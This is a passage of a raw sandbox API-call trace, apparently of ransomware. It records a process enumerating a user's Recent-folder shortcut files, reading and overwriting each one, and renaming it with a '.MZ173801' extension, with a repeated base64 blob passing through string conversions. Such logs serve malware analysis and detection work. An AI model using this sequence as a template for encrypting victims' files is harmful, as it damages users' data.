halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\hzvpyttjablu-qcrfynk.lnk.mz173801")) returned 1 [0121.376] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf5d16e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf5d16e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf5d16e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xea4, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="i0jXfoc7a.lnk", cAlternateFileName="I0JXFO~1.LNK")) returned 1 [0121.376] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.376] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.376] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i0jXfoc7a.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i0jxfoc7a.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf5d16e0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf5d16e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf5d16e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xea4)) returned 1 [0121.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.378] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.380] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i0jXfoc7a.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i0jxfoc7a.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.381] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.381] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.381] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xea4 [0121.381] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.381] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xea4, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xea4, lpOverlapped=0x0) returned 1 [0121.382] CloseHandle (hObject=0x288) returned 1 [0121.382] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i0jXfoc7a.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i0jxfoc7a.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.384] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xea4, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xea4, lpOverlapped=0x0) returned 1 [0121.385] CloseHandle (hObject=0x288) returned 1 [0121.389] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i0jXfoc7a.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i0jxfoc7a.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\i0jXfoc7a.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i0jxfoc7a.lnk.mz173801")) returned 1 [0121.390] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf454920, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf454920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf454920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1410, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="I2Gqc.lnk", cAlternateFileName="")) returned 1 [0121.390] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0121.390] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0121.390] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I2Gqc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i2gqc.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf454920, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf454920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf454920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1410)) returned 1 [0121.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0121.392] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0121.394] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I2Gqc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i2gqc.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.394] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0121.394] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.394] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x1410 [0121.394] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0121.394] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x1410, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x1410, lpOverlapped=0x0) returned 1 [0121.395] CloseHandle (hObject=0x288) returned 1 [0121.396] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\I2Gqc.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\i2gqc.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0121.397] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x1410, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x1410, lpOverlapped=0x0) returned 1 [0121.398] CloseHandle (hObject=0x288) returned 1 [0121.401] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS 